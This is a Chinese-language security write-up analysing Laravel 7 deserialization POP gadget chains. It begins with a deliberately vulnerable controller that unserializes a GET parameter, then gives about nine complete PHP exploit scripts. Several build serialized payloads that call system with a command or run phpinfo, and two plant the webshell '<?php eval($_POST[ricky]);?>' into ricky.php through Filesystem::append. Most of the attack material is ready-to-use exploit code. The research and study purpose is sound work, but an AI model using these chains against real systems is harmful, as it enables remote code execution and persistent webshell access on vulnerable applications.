Laravel7反序列化POP链分析挖掘

 

laravel7 反序列化汇总

测试使用的 Laravel 是通过 composer 默认方法 composer create-project --prefer-dist laravel/laravel blog "7.12.*"安装的,如果用到了未默认带的组件会在文中说明 !

安装好后在 routes\web.php 添加路由

Route::get('/index', "IndexController@index");

然后在 app\Http\Controllers 目录下添加 IndexController.php

<?php

namespace App\Http\Controllers;

use Illuminate\Http\Request;

class IndexController extends Controller
{
    public function index(Request $request)
    {
        if ($request->query("data")) {
            unserialize($request->query("data"));
        } else {
            highlight_file(__FILE__);
            return "Laravel version: " . app()::VERSION;
        }
    }
}

php artisan serve 启动服务

 

POP链1*

把 laravel5 的反序列化基本过了以后在 phpggc 的laravel反序列库里面找了一个通过修改参数使用的php反序列化点, 主要是通过 RCE3 展开的一次任意命令执行攻击, 然后仍可以应用于 laravel7

应用了 PendingBroadcast 类这个反序列化点

    public function __destruct()
    {
        $this->events->dispatch($this->event);
    }

参数都可控, 那就行了, 触发__call() 函数就行, 在 Illuminate\Notifications\ChannelManager

public function __call($method, $parameters)
{
    return $this->driver()->$method(...$parameters);
}

跟进driver()方法

public function driver($driver = null)
{
    $driver = $driver ?: $this->getDefaultDriver();

    if (is_null($driver)) {
        throw new InvalidArgumentException(sprintf(
            'Unable to resolve NULL driver for [%s].', static::class
        ));
    }

    // If the given driver has not been created before, we will create the instances
    // here and cache it so we can return it next time very quickly. If there is
    // already a driver created by this name, we'll just return that instance.
    if (! isset($this->drivers[$driver])) {
        $this->drivers[$driver] = $this->createDriver($driver);
    }

    return $this->drivers[$driver];
}

getDefaultDriver方法实现在子类 Manager

public function getDefaultDriver()
{
    return $this->defaultChannel;
}

$this->defaultChannel的值是我们可控的,比如是 null,然后继续回到 driver 方法中,$this->drivers 我们可控,使其进入createDriver方法

protected function createDriver($driver)
{
    // We'll check to see if a creator method exists for the given driver. If not we
    // will check for a custom driver creator, which allows developers to create
    // drivers using their own customized driver creator Closure to create it.
    if (isset($this->customCreators[$driver])) {
        return $this->callCustomCreator($driver);
    } else {
        $method = 'create'.Str::studly($driver).'Driver';


        if (method_exists($this, $method)) {
            return $this->$method();
        }
    }
    throw new InvalidArgumentException("Driver [$driver] not supported.");
}

因为这里 $customCreators 是我们可控的,所以使if语句成立,进入 callCustomCreator 方法

protected function callCustomCreator($driver)
{
    return $this->customCreators[$driver]($this->container);
}

这里所有参数均可控可以造成 RCE , 然后构建 pop 链如下, 暂时只能传一个参数

<?php

/*
# -*- coding: utf-8 -*-
# @filename: laravel 7 RCE poc1
# @author: Ricky
*/

namespace Illuminate\Broadcasting {
    class PendingBroadcast {
        protected $events;
        protected $event;
        public function __construct($events) {
            $this->events = $events;
        }
    }
}
// $this->events->dispatch($this->event);

namespace Illuminate\Notifications
{
    class ChannelManager
    {
        protected $container;
        protected $defaultChannel;
        protected $customCreators;

        function __construct($function, $parameter)
        {
            $this->container = $parameter;
            $this->customCreators = ['x' => $function];
            $this->defaultChannel = 'x';
        }
    }
}

namespace {

    use Illuminate\Broadcasting\PendingBroadcast;
    use Illuminate\Notifications\ChannelManager;

    $b = new ChannelManager('system', 'dir');
    $a = new PendingBroadcast($b);
    echo urlencode(serialize($a));
}

然后GET传参 ?data= 反序列化成功

20210312205357572

 

POP链2*

新思路: 紧接 POP链1, 既然只能传一个参数, 就想到了之前 Yii2 反序列化的类函数调用, 调用 public function 下包含 file_put_contents 且参数可控, 那么这样也就是

return $this->customCreators[$driver]($this->container);
// call_user_func['x'](new class x(), 'x');

call_user_func 传一个参数, 这个参数就是回调函数, 回调的时候访问该类中的其它函数执行, 但是该函数不可以包含任何形参且是 public (protected 和 private 自己自己调用), 也就是形成了调用其它类里不包含形参的任何方法

花了挺长时间的找这个, 在 Illuminate\Auth\RequestGuard.php 中

    public function user()
    {
        // If we've already retrieved the user for the current request we can just
        // return it back immediately. We do not want to fetch the user data on
        // every call to this method because that would be tremendously slow.
        if (! is_null($this->user)) {
            return $this->user;
        }

        return $this->user = call_user_func(
            $this->callback, $this->request, $this->getProvider()
        );
    }

这个堪称完美, 参数均可控而且我们可以进行二次调用, 这一次我们可以多传两个参数(也就是 file_put_contents 有可能实现了), 于是全局搜索 public function 包含 file_put_contents 的, 也花了挺久, 在 Illuminate\Filesystem\Filesystem.php 中

    public function append($path, $data)
    {
        return file_put_contents($path, $data, FILE_APPEND);
    }

又是一个堪称完美的函数, 参数均可控而且调用就直接写入文件, 快狠准! (FILE_APPEND表示可追加写入)

那新的 pop 链就成型了, 这里做个整体总结

class PendingBroadcast -> __destruct()
↓↓↓
class ChannelManager -> call() -> driver()
↓↓↓
abstract class Manager -> getDefaultDrive()
↓↓↓
class ChannelManager -> createDriver()
↓↓↓
class ChannelManager -> callCustomCreator()
↓↓↓
class RequestGuard -> user() -> call_user_func()
↓↓↓
class Filesystem -> append() -> file_put_contents()
↓↓↓
剩下就是其它的一些无关紧要的调用

建立 exp.php

<?php

/*
# -*- coding: utf-8 -*-
# @filename: laravel 7 RCE poc2
# @author: Ricky
# @ability: upload shell
*/

namespace Illuminate\Broadcasting {
    class PendingBroadcast {
        protected $events;
        protected $event;
        public function __construct($events) {
            $this->events = $events;
        }
    }
}
// $this->events->dispatch($this->event);

namespace Illuminate\Notifications
{
    class ChannelManager
    {
        protected $container;
        protected $defaultChannel;
        protected $customCreators;

        function __construct($function, $parameter)
        {
            $this->container = $parameter;
            $this->customCreators = ['x' => $function];
            $this->defaultChannel = 'x';
        }
    }
}

namespace Illuminate\Filesystem {
    class Filesystem{
        public $path = 'ricky.php';
        public $data = '<?php eval($_POST[ricky]);?>';
    }
}

namespace Illuminate\Auth {
    class RequestGuard {
        protected $user;
        protected $callback;
        protected $request = 'ricky.php';
        protected $provider = '<?php eval($_POST[ricky]);?>';
        public function __construct($callback) {
            $this->callback = $callback;
        }
    }
}

namespace {

    use Illuminate\Auth\RequestGuard;
    use Illuminate\Filesystem\Filesystem;
    use Illuminate\Notifications\ChannelManager;
    use Illuminate\Broadcasting\PendingBroadcast;

    $c = new RequestGuard([new Filesystem(), 'append']);
    $b = new ChannelManager('call_user_func', [$c, 'user']);
    $a = new PendingBroadcast($b);
    echo urlencode(serialize($a));
}

反序列化成功

20210312150408299

补充: 全局搜索 __destruct() 来找到新的可以触发 __call 函数的点, 于是找到了有三个类好用

# PendingResourceRegistration
    public function __destruct()
    {
        if (! $this->registered) {
            $this->register();
        }
    }
# CollectionConfigurator
    public function __destruct()
    {
        if (null === $this->prefixes) {
            $this->collection->addPrefix($this->route->getPath());
        }
        if (null !== $this->host) {
            $this->addHost($this->collection, $this->host);
        }

        $this->parent->addCollection($this->collection);
    }
# ImportConfigurator
    public function __destruct()
    {
        $this->parent->addCollection($this->route);
    }

首先谈一下 ImportConfigurator 类, 其实我一开始最想用的就是这个, 简单而且和 PendingBroadcast 类的 __destruct() 长得特别像, 参数均可控, 但是本地开debug调试后提示这个类不能被反序列化就舍弃了, 有用成的师傅可以分享一下心得

其次就是 CollectionConfigurator 类, 也是和上面反馈了一样的情况, 不让反序列化, 所以就只剩下 PendingResourceRegistration 类了, 亲测可用, 然后先跟进函数 register()

    public function register()
    {
        $this->registered = true;

        return $this->registrar->register(
            $this->name, $this->controller, $this->options
        );
    }

这些参数都可控, 那就行了, 触发__call() 函数就行, 剩余步骤就不详细分析了, 直接给出 POP链1 和 POP链2 的翻新

<?php

/*
# -*- coding: utf-8 -*-
# @filename: laravel 7 RCE poc3
# @author: Ricky
*/

namespace Illuminate\Routing{
    class PendingResourceRegistration{
        protected $registrar;
        protected $name;
        protected $controller;
        protected $options;
        public function __construct($registrar, $name, $controller, $options)
        {
            $this->registrar = $registrar;
            $this->name = $name;
            $this->controller = $controller;
            $this->options = $options;
        }
    }
}

namespace Illuminate\Notifications
{
    class ChannelManager
    {
        protected $container;
        protected $defaultChannel;
        protected $customCreators;

        function __construct($function, $parameter)
        {
            $this->container = $parameter;
            $this->customCreators = ['x' => $function];
            $this->defaultChannel = 'x';
        }
    }
}

namespace {

    use Illuminate\Notifications\ChannelManager;
    use Illuminate\Routing\PendingResourceRegistration;

    $b = new ChannelManager('phpinfo', '-1');
    $a = new PendingResourceRegistration($b, 'ricky', 'ricky', 'ricky');
    echo urlencode(serialize($a));
}

上传 shell 的 POP链

<?php

/*
# -*- coding: utf-8 -*-
# @filename: laravel 7 RCE poc4
# @author: Ricky
# @ability: upload shell
*/

namespace Illuminate\Routing{
    class PendingResourceRegistration{
        protected $registrar;
        protected $name;
        protected $controller;
        protected $options;
        public function __construct($registrar, $name, $controller, $options)
        {
            $this->registrar = $registrar;
            $this->name = $name;
            $this->controller = $controller;
            $this->options = $options;
        }
    }
}

namespace Illuminate\Notifications
{
    class ChannelManager
    {
        protected $container;
        protected $defaultChannel;
        protected $customCreators;

        function __construct($function, $parameter)
        {
            $this->container = $parameter;
            $this->customCreators = ['x' => $function];
            $this->defaultChannel = 'x';
        }
    }
}

namespace Illuminate\Filesystem {
    class Filesystem{
        public $path = 'ricky.php';
        public $data = '<?php eval($_POST[ricky]);?>';
    }
}

namespace Illuminate\Auth {
    class RequestGuard {
        protected $user;
        protected $callback;
        protected $request = 'ricky.php';
        protected $provider = '<?php eval($_POST[ricky]);?>';
        public function __construct($callback) {
            $this->callback = $callback;
        }
    }
}

namespace {

    use Illuminate\Auth\RequestGuard;
    use Illuminate\Filesystem\Filesystem;
    use Illuminate\Notifications\ChannelManager;
    use Illuminate\Routing\PendingResourceRegistration;

    $c = new RequestGuard([new Filesystem(), 'append']);
    $b = new ChannelManager('call_user_func', [$c, 'user']);
    $a = new PendingResourceRegistration($b, 'ricky', 'ricky', 'ricky');
    echo urlencode(serialize($a));
}

 

POP链3

入口类: Illuminate\Broadcasting\pendiongBroadcast

最后RCE调用类:Illuminate\Bus\Dispatcher

一开始使用 __destruct() 函数直接跟进到 dispatch 方法

    public function dispatch($command)
    {
        if ($this->queueResolver && $this->commandShouldBeQueued($command)) {
            return $this->dispatchToQueue($command);
        }

        return $this->dispatchNow($command);
    }

跟进一下dispatchToQueue()方法

    public function dispatchToQueue($command)
    {
        $connection = $command->connection ?? null;

        $queue = call_user_func($this->queueResolver, $connection);

        if (! $queue instanceof Queue) {
            throw new RuntimeException('Queue resolver did not return a Queue implementation.');
        }

        if (method_exists($command, 'queue')) {
            return $command->queue($queue, $command);
        }

        return $this->pushCommandToQueue($queue, $command);
    }

发现 call_user_func , 想办法利用, $this->queueResolver$connection 都可控, 返回 dispatch 跟进一下 commandShouldBeQueued

    protected function commandShouldBeQueued($command)
    {
        return $command instanceof ShouldQueue;
    }

需要$command是一个实现了ShouldQueue接口的对象,全局搜索一下,还挺多的,随便找一个用就可以了,这里用的是QueuedCommand类。这样就if判断成功,进入dispatchToQueue() , 然后就可以利用了, POP链就形成了

<?php

/*
# -*- coding: utf-8 -*-
# @filename: laravel 7 RCE poc5
# @author: Ricky
*/

namespace Illuminate\Broadcasting{
    class PendingBroadcast {
        protected $events;
        protected $event;
        public function __construct($events, $event) {
            $this->events=$events;
            $this->event=$event;
        }
    }
}

namespace Illuminate\Foundation\Console {
    class QueuedCommand {
        public $connection;
        public function __construct($connection) {
            $this->connection = $connection;
        }
    }
}

namespace Illuminate\Bus {
    class Dispatcher {
        protected $queueResolver;
        public function __construct($queueResolver) {
            $this->queueResolver = $queueResolver;
        }
    }
}

namespace {
    $c = new Illuminate\Bus\Dispatcher('system');
    $b = new Illuminate\Foundation\Console\QueuedCommand('dir');
    $a = new Illuminate\Broadcasting\PendingBroadcast($c, $b);
    echo urlencode(serialize($a));
}

反序列化成功

20210313003203239

然后利用其它的也可以 (把 laravel 7 所有的继承 ShouldQueue 接口的都列出来了)

exp 1

<?php

/*
# -*- coding: utf-8 -*-
# @filename: laravel 7 RCE poc6
# @author: Ricky
*/

namespace Illuminate\Broadcasting{
    class PendingBroadcast {
        protected $events;
        protected $event;
        public function __construct($events, $event) {
            $this->events=$events;
            $this->event=$event;
        }
    }
}

namespace Illuminate\Broadcasting {
    class BroadcastEvent {
        public $connection;
        public function __construct($connection) {
            $this->connection = $connection;
        }
    }
}

namespace Illuminate\Bus {
    class Dispatcher {
        protected $queueResolver;
        public function __construct($queueResolver) {
            $this->queueResolver = $queueResolver;
        }
    }
}

namespace {
    $c = new Illuminate\Bus\Dispatcher('system');
    $b = new Illuminate\Broadcasting\BroadcastEvent('dir');
    $a = new Illuminate\Broadcasting\PendingBroadcast($c, $b);
    echo urlencode(serialize($a));
}

exp 2

<?php

/*
# -*- coding: utf-8 -*-
# @filename: laravel 7 RCE poc7
# @author: Ricky
*/

namespace Illuminate\Broadcasting{
    class PendingBroadcast {
        protected $events;
        protected $event;
        public function __construct($events, $event) {
            $this->events=$events;
            $this->event=$event;
        }
    }
}

namespace Illuminate\Notifications {
    class SendQueuedNotifications {
        public $connection;
        public function __construct($connection) {
            $this->connection = $connection;
        }
    }
}

namespace Illuminate\Bus {
    class Dispatcher {
        protected $queueResolver;
        public function __construct($queueResolver) {
            $this->queueResolver = $queueResolver;
        }
    }
}

namespace {
    $c = new Illuminate\Bus\Dispatcher('system');
    $b = new Illuminate\Notifications\SendQueuedNotifications('dir');
    $a = new Illuminate\Broadcasting\PendingBroadcast($c, $b);
    echo urlencode(serialize($a));
}

exp 3

<?php

/*
# -*- coding: utf-8 -*-
# @filename: laravel 7 RCE poc8
# @author: Ricky
*/

namespace Illuminate\Broadcasting{
    class PendingBroadcast {
        protected $events;
        protected $event;
        public function __construct($events, $event) {
            $this->events=$events;
            $this->event=$event;
        }
    }
}

namespace Illuminate\Queue {
    class CallQueuedClosure {
        public $connection;
        public function __construct($connection) {
            $this->connection = $connection;
        }
    }
}

namespace Illuminate\Bus {
    class Dispatcher {
        protected $queueResolver;
        public function __construct($queueResolver) {
            $this->queueResolver = $queueResolver;
        }
    }
}

namespace {
    $c = new Illuminate\Bus\Dispatcher('system');
    $b = new Illuminate\Queue\CallQueuedClosure('dir');
    $a = new Illuminate\Broadcasting\PendingBroadcast($c, $b);
    echo urlencode(serialize($a));
}

exp 4

<?php

/*
# -*- coding: utf-8 -*-
# @filename: laravel 7 RCE poc9
# @author: Ricky
*/

namespace Illuminate\Broadcasting{
    class PendingBroadcast {
        protected $events;
        protected $event;
        public function __construct($events, $event) {
            $this->events=$events;
            $this->event=$event;
        }
    }
}

namespace Illuminate\Events {
    class CallQueuedListener {
        public $connection;
        public function __construct($connection) {
            $this->connection = $connection;
        }
    }
}

namespace Illuminate\Bus {
    class Dispatcher {
        protected $queueResolver;
        public function __construct($queueResolver) {
            $this->queueResolver = $queueResolver;
        }
    }
}

namespace {
    $c = new Illuminate\Bus\Dispatcher('system');
    $b = new Illuminate\Events\CallQueuedListener('dir');
    $a = new Illuminate\Broadcasting\PendingBroadcast($c, $b);
    echo urlencode(serialize($a));
}

 

总结

相比 laravel 5.8, 可以利用的反序列化链变少了, 但是核心思路没有变, 还是通过 __destruct() 触发 __call 或者 __invoke 函数, 再通过 call_user_funccall_user_func_array 进行函数回调达成 RCE

(完)